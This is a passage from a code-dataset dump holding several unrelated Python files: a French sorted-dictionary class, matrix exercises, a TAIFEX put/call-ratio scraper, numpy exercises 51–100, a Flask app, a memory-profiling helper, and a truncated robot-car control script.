listes grâce à une boucle \"for\"\r\n\t\tif len(couple) > 0:\r\n\t\t\tself._sorted_dico = couple\r\n\r\n\t\t\tfor cle, valeur in self._sorted_dico.items():\r\n\t\t\t\tself._cle_dico.append(cle)\r\n\t\t\t\tself._valeur_dico.append(valeur)\r\n\t\t# Sinon on créer juste un dictionnaire vide\r\n\t\telif len(couple) == 0:\r\n\t\t\tself._sorted_dico = {}\r\n\r\n\tdef __getitem__(self, cle):\r\n\t\t\"\"\" Fonction qui permet de renvoyer la valeur correpondant à la clé envoyée en paramètre \"\"\"\r\n\t\tfor i in range(len(self._cle_dico)):\r\n\t\t\tif self._cle_dico[i] == cle:\r\n\t\t\t\treturn self._valeur_dico[i]\r\n\r\n\tdef __setitem__(self, cle, valeur):\r\n\t\t\"\"\" Fonction qui permet d'assigner une nouvelle valeur à une clé ou de créer un nouveau couple \"\"\"\r\n\t\tif not cle in self._cle_dico:\r\n\t\t\tself._cle_dico.append(cle)\r\n\t\t\tself._valeur_dico.append(valeur)\r\n\t\telse:\r\n\t\t\tfor i in range(len(self._cle_dico)):\r\n\t\t\t\tif self._cle_dico[i] == cle:\r\n\t\t\t\t\tself._valeur_dico[i] = valeur\r\n\r\n\t\tself._sorted_dico[cle] = valeur\r\n\r\n\tdef __delitem__(self, cle):\r\n\t\t\"\"\" Fonction qui permet de supprimer un élément \"\"\"\r\n\t\tfor i in range(len(self._cle_dico)):\r\n\t\t\tif self._cle_dico[i] == cle:\r\n\t\t\t\tdel self._valeur_dico[i]\r\n\r\n\t\tself._cle_dico.remove(cle)\r\n\t\tdel self._sorted_dico[cle]\r\n\r\n\tdef __contains__(self, cle):\r\n\t\t\"\"\" Fonction qui permet de vérifier si la clé donnée est dans le dictionnaire \"\"\"\r\n\t\tif cle in self._cle_dico:\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\tdef __len__(self):\r\n\t\t\"\"\" Fonction qui renvoie la taille du dictionnaire \"\"\"\r\n\t\treturn len(self._cle_dico)\r\n\r\n\tdef __str__(self):\r\n\t\t\"\"\" Fonction qui permet d'afficher le contenu du dictionnaire avec un print \"\"\"\r\n\t\ttxt = \"{\"\r\n\t\tfor i in range(len(self._cle_dico)):\r\n\t\t\tif i == len(self._cle_dico) - 1:\r\n\t\t\t\ttxt += \"\\\"{}\\\": {}\".format(self._cle_dico[i], self._valeur_dico[i])\r\n\t\t\telse:\r\n\t\t\t\ttxt += \"\\\"{}\\\": {}, \".format(self._cle_dico[i], self._valeur_dico[i])\r\n\r\n\t\treturn txt + \"}\"\r\n\r\n\tdef sort(self, key=None, reverse=False):\r\n\t\t\"\"\" Fonction pour trier le dictionnaire selon la clé donnée en paramètre \"\"\"\r\n\t\ttemp_dico = []\r\n\t\ttemp_dico = sorted(self._sorted_dico.items(), key=key, reverse=reverse)\r\n\r\n\t\tself._cle_dico.clear()\r\n\t\tself._valeur_dico.clear()\r\n\r\n\t\tfor cle, valeur in temp_dico:\r\n\t\t\tself._cle_dico.append(cle)\r\n\t\t\tself._valeur_dico.append(valeur)\r\n\r\n\t\tdel temp_dico\r\n\r\n\tdef keys(self):\r\n\t\t\"\"\" Fonction renvoyant la liste des clés \"\"\"\r\n\t\treturn self._cle_dico\r\n\r\n\tdef values(self):\r\n\t\t\"\"\" Fonction renvoyant la liste des valeurs \"\"\"\r\n\t\treturn self._valeur_dico\r\n\r\n\tdef items(self):\r\n\t\t\"\"\" Fonction renvoyant le couple (clé, valeur) \"\"\"\r\n\t\ttemp_items = []\r\n\t\tfor i in range(len(self._cle_dico)):\r\n\t\t\ttemp_items.append((self._cle_dico[i], self._valeur_dico[i]))\r\n\r\n\t\treturn temp_items","sub_path":"SortedDico.py","file_name":"SortedDico.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"168645028","text":"def matnull(n):\n mat = []\n for i in range(0,n):\n mat.append([])\n for j in range(0,n):\n mat[i].append(0)\n return mat\n\ndef afficheMat(mat):\n for i in range(len(mat)):\n print(mat[i])\n\ndef damier(n):\n mat = matnull(n)\n for i in range(len(mat)):\n for j in range(len(mat)):\n if i%2 == 0 and j%2 == 1:\n mat[j][i] = 1\n elif i%2 == 1 and j%2 == 0:\n mat[j][i] = 1\n \n return mat\n\nn = int(input(\"Choisissez le rang de votre damier\"))\nif n < 1:\n print(\"Le rang de la matrice ne peut pas etre nul ou négatif\")\n n = int(input(\"Choisissez le rang de votre matrice n (carree) \"))\n\nmat = damier(n)\nafficheMat(mat)\n","sub_path":"BTS-SIO/algorithme/1ère année/TP6-Matrices/exercice10.py","file_name":"exercice10.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"98730698","text":"import urllib.request as urst\nfrom bs4 import BeautifulSoup as bs\nimport re\nfrom datetime import date, datetime\nimport csv\n\n# this datetime.now() is used to test the overall time spent on this program.\nstart = datetime.now()\nurl = 'http://www.taifex.com.tw/chinese/3/PCRatio_tbl.asp'\nheader = ('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n ' (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')\n# N = input('At least how many rows you have? Key in a number: ')\nN = 16\n# M = input('How many columns are numbers form here? Key in a number: ')\nM = 6\n\nopener = urst.build_opener()\nopener.addheaders = [header]\ndata = opener.open(url).read()\nsoup = bs(data, 'html.parser', from_encoding='utf-8')\n\nNAME = []\nfor ttl in soup.findAll('th', {'width': 80}):\n NAME.append(ttl.get_text().strip())\n\nDATA = []\nfor i in range(int(N)):\n DATA.append([])\n\n# set the grabbed data into lists within a list\n# so that it would be stored in csv file by \"for loop\".\npattern = re.compile('\\d*/\\d*/\\d*')\ninfo = None\nn = -1\nfor i in soup.findAll('td', {'align': 'center'}):\n info = i.get_text().strip()\n if pattern.match(info) is not None:\n n += 1\n num = pattern.match(info).group()\n DATA[n].append(num)\n else:\n DATA[n].append(info)\n\n# these two are only for testing purpose.\n# print(NAME)\n# print(DATA)\n\n# path = input('Please type in the path where the file is stored: ')\n# path = '/home/parallels/Desktop/Parallels Shared Folders/Home/Documents/Python_Projects'\npath = '/Users/kcl/Desktop'\n# name = input('Please pick up a name for your file: ')\nname = 'output'\nfullPath = path + '/' + name + '.csv'\n\ntry:\n origin = open(fullPath, 'r', newline='', encoding='utf-8-sig')\n reader = csv.reader(origin)\n header = next(reader)\n orgDt = [i for i in reader]\n node = orgDt[0]\n origin.close()\n for dt in DATA:\n if dt in orgDt:\n continue\n else:\n orgDt.insert(orgDt.index(node), dt)\n\n update = open(fullPath, 'w', newline='', encoding='utf-8-sig')\n upwrite = csv.writer(update)\n upwrite.writerow(NAME)\n upwrite.writerows(orgDt)\n update.close()\n\nexcept:\n # to be able to write Chinese characters into csv file, 'utf-8-sig' is necessary.\n file = open(fullPath, 'w', newline='', encoding='utf-8-sig')\n writer = csv.writer(file)\n writer.writerow(NAME)\n writer.writerows(DATA)\n file.close()\n\nend = datetime.now()\nprint(end - start)\n'''although these two function is good, it may cause some error when we need \nto check if data are repeated comparing to the former data already existing in the file.'''\n# change the date string into a concrete date format.\n# for dt in noRepeat:\n# try:\n# newdt = datetime.strptime(dt[0], '%Y/%m/%d')\n# dt[0] = newdt\n# except:\n# continue\n\n# change the string type of number into float type.\n# for numList in noRepeat:\n# for i in range(int(M)):\n# I = i + 1\n# try:\n# numList[I] = float(numList[I].replace(',', ''))\n# except:\n# continue\n","sub_path":"01_Python_Lecture_Series/py_Scripts_Practice/gao_queue.py","file_name":"gao_queue.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"133906150","text":"import numpy as np\n\n# 51. Create a structured array representing a position (x,y) and a color (r,g,b)\nZ = np.zeros(10, [ ('position', [ ('x', float, 1),\n ('y', float, 1)]),\n ('color', [ ('r', float, 1),\n ('g', float, 1),\n ('b', float, 1)])])\nprint(Z)\n\n# 52. Consider a random vector with shape (100,2) representing coordinates, find point by point distances\nvector = np.random.random((100,2))\nimport scipy\nimport scipy.spatial\ndistance = scipy.spatial.distance.cdist(vector, vector)\nprint(distance)\n\n# 53. How to convert a float (32 bits) array into an integer (32 bits) in place?\narr = (np.random.rand(10)*100).astype(np.float32)\nprint(arr)\ninteger_32_bit = arr.view(np.int32)\ninteger_32_bit[:] = arr\nprint(integer_32_bit)\n\n# 54. How to read the following file?\nfrom io import StringIO\nfake_file = StringIO('''1, 2, 3, 4, 5\n 6, , , 7, 8\n , , 9, 10,11''')\nZ = np.genfromtxt(fake_file, delimiter = \",\", dtype = np.int)\nprint(Z)\n\n# 55. What is the equivalent of enumerate for numpy arrays?\narr = np.arange(9).reshape(3,3)\nprint(\"Enumerate:\")\nfor index, value in np.ndenumerate(arr):\n print(index, value)\n\nprint(\"Index:\")\nfor index in np.ndindex(arr.shape):\n print(index, arr[index])\n\n# 56. Generate a generic 2D Gaussian-like array\nX, Y = np.meshgrid(np.linspace(-1,1,10), np.linspace(-1,1,10))\ndist = np.sqrt(X*X+Y*Y)\nsigma, mu = 1.0, 0.0 #Standard deviation = 1 and Mean = 0\nG = np.exp(-( (dist - mu)**2 / ( 2.0 * sigma**2 ) ) ) # Exponential formula for normal distribution\nprint(G)\n\n#import matplotlib\n#import matplotlib.pyplot\n#matplotlib.pyplot.plot(G)\n#matplotlib.pyplot.savefig(\"Q56.png\")\n\n# 57. How to randomly place p elements in a 2D array?\nsize = 10\np = 3\nmatrix = np.zeros((size, size))\nnp.put(matrix, np.random.choice(range(size*size), p, replace=False),2)\nprint(matrix)\n\n# 58. Subtract the mean of each row of a matrix\nbefore = np.random.randint(5, size = (3, 3))\nprint(\"Before: \\n\", before)\nafter = before - before.mean(axis=1).reshape(-1, 1)\nprint(\"After: \\n\", after)\n\n# 59. How to sort an array by the nth column?\nZ = np.random.randint(0,10,(3,3))\nprint(\"Unsorted: \\n\", Z)\nprint(\"Sorted: \\n\", Z[Z[:,1].argsort()])\n\n# 60. How to tell if a given 2D array has null columns?\nZ = np.random.randint(0, 2, size = (3, 3))\nprint(\"Any null columns? \\n\", Z)\nprint((~Z.any(axis=0)).any())\n\n# 61. Find the nearest value from a given value in an array\narr = np.random.uniform(0, 1, 10)\nfind = 0.5\nm = arr.flat[np.abs(arr - find).argmin()]\nprint(m)\n\n# 62. Considering two arrays with shape (1,3) and (3,1), how to compute their sum using an iterator?\nA = np.arange(3).reshape(3, 1)\nB = np.arange(3).reshape(1, 3)\ntotal = np.nditer([A, B, None])\nfor x, y, z in total: z[...] = x + y\nprint(total.operands[2])\n\n# 63. Create an array class that has a name attribute\nclass NamedArray(np.ndarray):\n def __new__(cls, array, name=\"no name\"):\n obj = np.asarray(array).view(cls)\n obj.name = name\n return obj\n def __array_finalize__(self, obj):\n if obj is None: return\n self.info = getattr(obj, 'name', \"no name\")\n\nZ = NamedArray(np.arange(10), \"array_10\")\nprint(Z.name)\nprint(Z)\n\n# 64. Consider a given vector, how to add 1 to each element indexed by a second vector (be careful with repeated indices)?\narr = np.arange(3, 10)\nprint(\"Initial: \", arr)\nind = np.arange(len(arr))\nprint(\"Index: \", ind)\nnp.add.at(arr, ind, 1)\nprint(\"Add 1: \", arr)\n\n# 65. How to accumulate elements of vector (X) to an array (F) based on an index list (I)?\nX = [1, 2, 2, 5, 4]\nI = [1, 6, 4, 2, 1]\nF = np.bincount(I, weights = X)\nprint(F)\n\n# 66. Considering a (w,h,3) image of (dtype=ubyte), compute the number of unique colors\nw, h = 16, 16\nI = np.random.randint(0, 2, (h, w, 3)).astype(np.ubyte)\nprint(np.unique(I))\nprint(\"Number of unique colours:\", len(np.unique(I)))\n\n# 67. Considering a four dimensions array, how to get sum over the last two axis at once?\nA = np.random.randint(0, 2, (3, 4, 3, 4))\nprint(A)\nsum = A.sum(axis = (2, 3))\nprint(sum)\n\n# 68. Considering a one-dimensional vector D, how to compute means of subsets of D using a vector S of same size describing subset indices? (Similar to #65)\nD = np.random.uniform(0, 1, 100)\nS = np.random.randint(0, 10, 100)\nD_sums = np.bincount(S, weights=D)\nD_counts = np.bincount(S)\nD_means = D_sums / D_counts\nprint(D_means)\n\n# 69. How to get the diagonal of a dot product?\nA = np.random.uniform(0, 1, (5, 5))\nB = np.random.uniform(0, 1, (5, 5))\ndot_prod = np.dot(A, B)\ndiagonal = np.diag(dot_prod)\nprint(\"Dot product = \\n\", dot_prod)\nprint(\"Diagonal = \\n\", diagonal)\n\n# 70. Consider the vector [1, 2, 3, 4, 5], how to build a new vector with 3 consecutive zeros interleaved between each value?\nZ = np.arange(1, 6)\nnz = 3\nZ0 = np.zeros(len(Z) + (len(Z)-1)*(nz))\nZ0[0::nz+1] = Z\nprint(Z0)\n\n# 71. Consider an array of dimension (5,5,3), how to mulitply it by an array with dimensions (5,5)?\nA = np.ones((5, 5, 3))\nB = 2*np.ones((5,5))\nprint(A * B[:, :, None])\n\n# 72. How to swap two rows of an array?\nA = np.arange(25).reshape(5,5)\nprint(\"Before swapping: \\n\", A)\nA[[0,1]] = A[[1,0]]\nprint(\"After swapping: \\n\", A)\n\n# 73. Consider a set of 10 triplets describing 10 triangles (with shared vertices), find the set of unique line segments composing all the triangles\nfaces = np.random.randint(0, 100, (10, 3))\nF = np.roll(faces.repeat(2, axis=1), -1, axis=1)\nF = F.reshape(len(F)*3, 2)\nF = np.sort(F, axis=1)\nG = F.view(dtype=[('p0', F.dtype), ('p1', F.dtype)])\nG = np.unique(G)\nprint(G)\n\n# 74. Given an array C that is a bincount, how to produce an array A such that np.bincount(A) == C?\nC = np.bincount([1,1,2,3,4,4,6])\nA = np.repeat(np.arange(len(C)), C)\nprint(A)\n\n# 75. How to compute averages using a sliding window over an array?\ndef moving_average(a, n):\n ret = np.cumsum(a, dtype=float)\n ret[n:] = ret[n:] - ret[:-n]\n return ret[n - 1:] / n\n\nZ = np.arange(20)\nprint(\"Data = \", Z)\nprint(\"Moving average = \", moving_average(Z, n=3))\n\n# 76. Consider a one-dimensional array Z, build a two-dimensional array whose first row is (Z[0],Z[1],Z[2]) and each subsequent row is shifted by 1 (last row should be (Z[-3],Z[-2],Z[-1])\nfrom numpy.lib import stride_tricks\n\ndef rolling(a, window):\n shape = (a.size - window + 1, window)\n strides = (a.itemsize, a.itemsize)\n return stride_tricks.as_strided(a, shape=shape, strides=strides)\nZ = rolling(np.arange(10), 3)\nprint(Z)\n\n# 77. How to negate a boolean, or to change the sign of a float inplace?\nZ = np.random.randint(0, 2, 10)\nprint(\"Original: \\n\", Z)\nnp.logical_not(Z, out=Z) #flips zeroes and ones\nprint(\"Flipped: \\n\", Z)\nnp.negative(Z, out=Z) #add negative signs\nprint(\"Sign changed: \\n\", Z)\n\n# 78. Consider 2 sets of points P0,P1 describing lines (2d) and a point p, how to compute distance from p to each line i (P0[i],P1[i])?\ndef distance(P0, P1, p):\n T = P1 - P0\n L = (T**2).sum(axis=1)\n U = -((P0[:,0]-p[..., 0])*T[:, 0] + (P0[:, 1]-p[..., 1])*T[:, 1]) / L\n U = U.reshape(len(U),1)\n D = P0 + U*T - p\n dist = np.sqrt((D**2).sum(axis=1))\n return dist\n\nP0 = np.random.uniform(-10, 10, (10, 2))\nP1 = np.random.uniform(-10, 10, (10, 2))\np = np.random.uniform(-10, 10, ( 1, 2))\ndist = distance(P0, P1, p)\nprint(\"Distance: \\n\", dist)\n\n# 79. Consider 2 sets of points P0,P1 describing lines (2d) and a set of points P, how to compute distance from each point j (P[j]) to each line i (P0[i],P1[i])?\nP0 = np.random.uniform(-10, 10, (10, 2))\nP1 = np.random.uniform(-10, 10,(10, 2))\np = np.random.uniform(-10, 10, (10, 2))\nprint(np.array([distance(P0, P1, p_i) for p_i in p]))\n\n# 80. Consider an arbitrary array, write a function that extract a subpart with a fixed shape and centered on a given element (pad with a fill value when necessary)\nZ = np.random.randint(0,10,(10,10))\nshape = (5,5)\nfill = 0\nposition = (3,3)\n\nR = np.ones(shape, dtype=Z.dtype)*fill\nP = np.array(list(position)).astype(int)\nRs = np.array(list(R.shape)).astype(int)\nZs = np.array(list(Z.shape)).astype(int)\n\nR_start = np.zeros((len(shape),)).astype(int)\nR_stop = np.array(list(shape)).astype(int)\nZ_start = (P-Rs//2)\nZ_stop = (P+Rs//2)+Rs%2\n\nR_start = (R_start - np.minimum(Z_start,0)).tolist()\nZ_start = (np.maximum(Z_start,0)).tolist()\nR_stop = np.maximum(R_start, (R_stop - np.maximum(Z_stop-Zs,0))).tolist()\nZ_stop = (np.minimum(Z_stop,Zs)).tolist()\n\nr = [slice(start,stop) for start,stop in zip(R_start,R_stop)]\nz = [slice(start,stop) for start,stop in zip(Z_start,Z_stop)]\nR[r] = Z[z]\nprint(Z)\nprint(R)\n\n# 81. Consider an array Z = [1,2,3,4,5,6,7,8,9,10,11,12,13,14], how to generate an array R = [[1,2,3,4], [2,3,4,5], [3,4,5,6], ..., [11,12,13,14]]? (Similar to #76)\nZ = rolling(np.arange(1, 15), 4)\nprint(Z)\n\n# 82. Compute a matrix rank\nZ = np.random.uniform(0,1,(8,10))\nU, S, V = np.linalg.svd(Z) # Singular Value Decomposition\nrank = np.sum(S > 1e-10)\nprint(\"Matrix rank =\", rank)\n\n# 83. How to find the most frequent value in an array?\nZ = np.random.randint(1, 10, 100)\nfrequency = np.bincount(Z)\nprint(\"Frequency =\", frequency)\nprint(\"Most frequent number =\", frequency.argmax())\n\n# 84. Extract all the contiguous 3x3 blocks from a random 10x10 matrix\nZ = np.random.randint(0, 5, (10, 10))\nn = 3\ni = 1 + (Z.shape[0]-3)\nj = 1 + (Z.shape[1]-3)\nC = stride_tricks.as_strided(Z, shape = (i, j, n, n), strides = Z.strides + Z.strides)\nprint(Z)\nprint(C)\n\n# 85. Create a 2D array subclass such that Z[i,j] == Z[j,i]\nclass Symmetric(np.ndarray):\n def __setitem__(self, index, value):\n i,j = index\n super(Symmetric, self).__setitem__((i,j), value)\n super(Symmetric, self).__setitem__((j,i), value)\n\ndef symmetric(Z):\n return np.asarray(Z + Z.T - np.diag(Z.diagonal())).view(Symmetric)\n\nS = symmetric(np.random.randint(0,10,(5,5)))\nprint(S)\n\n# 86. Consider a set of p matrices wich shape (n,n) and a set of p vectors with shape (n,1). How to compute the sum of of the p matrix products at once? (result has shape (n,1))\np = 10\nn = 20\nM = np.ones((p,n,n))\nV = np.ones((p,n,1))\nS = np.tensordot(M, V, axes=[[0, 2], [0, 1]])\nprint(S)\n\n# 87. Consider a 16x16 array, how to get the block-sum (block size is 4x4)?\nZ = np.ones((16,16))\nprint(\"Before:\\n\", Z)\nk = 4\nS = np.add.reduceat(np.add.reduceat(Z, np.arange(0, Z.shape[0], k), axis=0),\n np.arange(0, Z.shape[1], k), axis=1)\nprint(\"After:\\n\", S)\n\n# 88. How to implement the Game of Life using numpy arrays? (WHAT?)\ndef iterate(Z):\n # Count neighbours\n N = (Z[0:-2,0:-2] + Z[0:-2,1:-1] + Z[0:-2,2:] +\n Z[1:-1,0:-2] + Z[1:-1,2:] +\n Z[2: ,0:-2] + Z[2: ,1:-1] + Z[2: ,2:])\n\n # Apply rules\n birth = (N==3) & (Z[1:-1,1:-1]==0)\n survive = ((N==2) | (N==3)) & (Z[1:-1,1:-1]==1)\n Z[...] = 0\n Z[1:-1,1:-1][birth | survive] = 1\n return Z\n\nZ = np.random.randint(0,2,(10,10))\nfor i in range(100): Z = iterate(Z)\nprint(Z)\n\n# 89. How to get the n largest values of an array\narr = np.arange(10000)\nnp.random.shuffle(arr)\nn_largest = 5\n\nsort = np.argsort(arr)\nsorted_value = arr[sort]\nlargest_values = sorted_value[-5:]\nprint(\"n largest values = \", largest_values)\n\n# 90. Given an arbitrary number of vectors, build the cartesian product (every combinations of every item)\ndef cartesian(arrays):\n arrays = [np.asarray(a) for a in arrays]\n shape = (len(x) for x in arrays)\n\n ix = np.indices(shape, dtype=int)\n ix = ix.reshape(len(arrays), -1).T\n \n for n, arr in enumerate(arrays):\n ix[:, n] = arrays[n][ix[:, n]]\n return ix\n\nprint (cartesian(([1, 2, 3], [4, 5], [6, 7])))\n\n# 91. How to create a record array from a regular array? (WHAT?)\nZ = np.array([(\"Hello\", 2.5, 3),\n (\"World\", 3.6, 2)])\nR = np.core.records.fromarrays(Z.T,\n names='col1, col2, col3',\n formats = 'S8, f8, i8')\nprint(R)\n\n# 92. Consider a large vector Z, compute Z to the power of 3 using 3 different methods\nZ = np.random.rand(100000)\n\nprint(np.power(Z, 3))\nprint(Z*Z*Z)\nprint(np.einsum('i,i,i->i', Z, Z, Z))\n\n# 93. Consider two arrays A and B of shape (8,3) and (2,2). How to find rows of A that contain elements of each row of B regardless of the order of the elements in B? (WHAT?)\nA = np.random.randint(0,5,(8,3))\nB = np.random.randint(0,5,(2,2))\nC = A[..., np.newaxis, np.newaxis]\nC = (A[..., np.newaxis, np.newaxis] == B)\nrows = np.where(C.any((3,1)).all(1))[0]\nprint(A)\nprint(B)\nprint(rows)\n\n# 94. Considering a 10x3 matrix, extract rows with unequal values (e.g. [2,2,3])\nZ = np.random.randint(0,5,(10,3))\nE = np.all(Z[:,1:] == Z[:,:-1], axis=1)\nU = Z[~E]\nprint(U)\n\n# 95. Convert a vector of ints into a matrix binary representation\nI = np.array([0, 1, 2, 3, 15, 16, 32, 64, 128, 255], dtype=np.uint8)\nprint(np.unpackbits(I[:, np.newaxis], axis=1))\n\n# 96. Given a two dimensional array, how to extract unique rows?\nZ = np.random.randint(0,2,(10,3))\nprint(Z)\nuZ = np.unique(Z, axis=0)\nprint(uZ)\n\n# 97. Considering 2 vectors A & B, write the einsum equivalent of inner, outer, sum, and mul function\nA = np.random.randint(0,5,10)\nB = np.random.randint(0,5,10)\nprint(\"A:\", A)\nprint(\"B:\", B)\nprint(np.einsum('i->', A)) # np.sum(A)\nprint(np.einsum('i,i->i', A, B)) # A * B\nprint(np.einsum('i,i', A, B)) # np.inner(A, B) otherwise known as dot product\nprint(np.einsum('i,j->ij', A, B)) # np.outer(A, B) otherwise known as cross product\n\n# 98. Considering a path described by two vectors (X,Y), how to sample it using equidistant samples?\nphi = np.arange(0, 10*np.pi, 0.1)\na = 1\nx = a*phi*np.cos(phi)\ny = a*phi*np.sin(phi)\n\ndr = (np.diff(x)**2 + np.diff(y)**2)**.5 # segment lengths\nr = np.zeros_like(x)\nr[1:] = np.cumsum(dr) # integrate path\nr_int = np.linspace(0, r.max(), 200) # regular spaced path\nx_int = np.interp(r_int, r, x) # integrate path\ny_int = np.interp(r_int, r, y)\n\n# 99. Given an integer n and a 2D array X, select from X the rows which can be interpreted as draws from a multinomial distribution with n degrees, i.e., the rows which only contain integers and which sum to n.\nX = np.asarray([[1.0, 0.0, 3.0, 8.0],\n [2.0, 0.0, 1.0, 1.0],\n [1.5, 2.5, 1.0, 0.0]])\nn = 12\nM = np.logical_and.reduce(np.mod(X, 1) == 0, axis=-1)\nM &= (X.sum(axis=-1) == n) #find the index of array X that sums up to n\nprint(X[M])\n\n# 100. Compute bootstrapped 95% confidence intervals for the mean of a 1D array X (i.e., resample the elements of an array with replacement N times, compute the mean of each sample, and then compute percentiles over the means).\nX = np.random.randn(100) # random 1D array\nN = 1000 # number of bootstrap samples\nidx = np.random.randint(0, X.size, (N, X.size))\nmeans = X[idx].mean(axis=1)\nconfint = np.percentile(means, [2.5, 97.5]) #95% CI\nprint(confint)\n","sub_path":"andrew/numpy/numpy_exercises_100.py","file_name":"numpy_exercises_100.py","file_ext":"py","file_size_in_byte":14876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"275605025","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.14-x86_64/egg/hejtado/quido/app.py\n# Compiled at: 2019-10-14 14:45:14\n# Size of source mod 2**32: 1594 bytes\nimport os, logging.config\nfrom hejtado.quido import app, blueprint\nimport hejtado.quido.api as api\nfrom hejtado.quido.settings import *\nimport hejtado.quido.api.endpoints.relays as relays_namespace\nimport hejtado.quido.api.endpoints.thermometers as thermometers_namespace\nfrom hejtado.quido.settings import QUIDO_API_VERSION\nlogging_conf_path = os.path.join(os.path.dirname(__file__), 'logging.conf')\nlogging.config.fileConfig(logging_conf_path)\nlog = logging.getLogger(__name__)\n\ndef configure_app(flask_app):\n \"\"\"\n Configure Flask app\n :param flask_app: Flask app instance\n :return: None\n \"\"\"\n server_name = FLASK_SERVER + ':' + str(FLASK_PORT)\n flask_app.config['SERVER_NAME'] = server_name\n flask_app.config['PORT'] = FLASK_PORT\n flask_app.config['ENV'] = FLASK_ENV\n\n\ndef initialize_app(flask_app):\n \"\"\"\n Initialize Flask app\n :param flask_app: Flask aplication instance\n :return: None\n \"\"\"\n configure_app(flask_app)\n api.init_app(blueprint)\n api.add_namespace(relays_namespace)\n api.add_namespace(thermometers_namespace)\n flask_app.register_blueprint(blueprint)\n\n\ndef main():\n \"\"\"\n Main function\n :return: Flask app instance\n \"\"\"\n initialize_app(app)\n log.info('Starting server at http://{}/api/{}'.format(app.config['SERVER_NAME'], QUIDO_API_VERSION))\n return app.run(debug=FLASK_DEBUG)\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/hejtado_quido-0.2.6-py3.7/app.cpython-37.py","file_name":"app.cpython-37.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"346540718","text":"import json\nimport linecache\nimport logging\nimport time\nimport tracemalloc\nfrom collections import OrderedDict\n\nlogger = logging.getLogger(__name__)\n\n\ndef humanbytes(B):\n 'Return the given bytes as a human friendly KB, MB, GB, or TB string'\n B = float(B)\n KB = float(1024)\n MB = float(KB ** 2) # 1,048,576\n GB = float(KB ** 3) # 1,073,741,824\n TB = float(KB ** 4) # 1,099,511,627,776\n\n if B < KB:\n return '{0} {1}'.format(B, 'Bytes' if 0 == B > 1 else 'Byte')\n elif KB <= B < MB:\n return '{0:.2f} KB'.format(B / KB)\n elif MB <= B < GB:\n return '{0:.2f} MB'.format(B / MB)\n elif GB <= B < TB:\n return '{0:.2f} GB'.format(B / GB)\n elif TB <= B:\n return '{0:.2f} TB'.format(B / TB)\n\n\ndef display_top(snapshot, key_type='lineno', limit=5):\n snapshot = snapshot.filter_traces((\n tracemalloc.Filter(False, \"\"),\n tracemalloc.Filter(False, \"\"),\n ))\n top_stats = snapshot.statistics(key_type)\n\n for index, stat in enumerate(top_stats[:limit], 1):\n frame = stat.traceback[0] # tracemalloc.Frame\n line = linecache.getline(frame.filename, frame.lineno).strip()\n if line:\n pass#print(' %s' % line)\n\n other = top_stats[limit:]\n if other:\n size = sum(stat.size for stat in other)\n #print(\"%s other: %.1f KiB\" % (len(other), size / 1024))\n total = sum(stat.size for stat in top_stats)\n #print(\"Total allocated size: %.1f KiB\" % (total / 1024))\n\n\ndef get_top(key, limit=5):\n snapshot = tracemalloc.take_snapshot()\n snapshot = snapshot.filter_traces((\n tracemalloc.Filter(False, \"\"),\n tracemalloc.Filter(False, \"\"),\n ))\n linenos = snapshot.statistics(key)\n # from tracemalloc import Statistic,Traceback\n result = []\n for index, stat in enumerate(linenos[:limit], 1):\n frame = stat.traceback[0] # tracemalloc.Frame\n line = linecache.getline(frame.filename, frame.lineno).strip()\n obj = OrderedDict()\n obj[\"index\"] = index\n obj[\"allocated\"] = humanbytes(stat.size)\n obj[\"blocks\"] = stat.count\n obj[\"filename\"] = frame.filename\n obj[\"lineno\"] = frame.lineno\n obj[\"code\"] = line\n\n result.append(obj)\n return result\n\n\ndef show_trace():\n if not tracemalloc.is_tracing():\n logger.info(\"tracemalloc.start() begin\")\n tracemalloc.start()\n time.sleep(1)\n\n logger.info(json.dumps({\n \"memory_allocate\": get_top('lineno'),\n \"memory_block\": get_top(\"traceback\")\n }))\n","sub_path":"utils/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"268424756","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def levelOrderBottom(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n # ans, stack = [], [[],[root]][bool(root)]\n # while stack:\n # ans = [[i.val for i in stack if i]] + ans\n # stack = [j for i in stack if i for j in (i.left,i.right) if j]\n # return ans\n # reverse\n\n def f(a):\n if not a: return\n temp = [i.val for i in a]\n a = [j for i in a for j in (i.left,i.right) if j]\n f(a)\n ans.append(temp)\n ans = []\n f([[],[root]][bool(root)])\n return ans","sub_path":"Algorithms/Binary Tree Level Order Traversal II/Binary Tree Level Order Traversal II.py","file_name":"Binary Tree Level Order Traversal II.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"482749573","text":"from __future__ import print_function\nimport pygame\nimport time\nfrom videocontrolbase import PiVideoStream\nimport cv2\nimport numpy as np\nfrom control import *\nfrom ultra import *\nimport picamera\nimport imutils\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array\nimport argparse\nimport signal\n\nclass TimeoutException(Exception):\n\tpass\n\ndef timeout_handler(signum, frame):\n\traise TimeoutException\n\ndef maxIndex(tup):\n\ttup = tuple(tup)\n\tmax_ = max(tup)\n\tif max_ 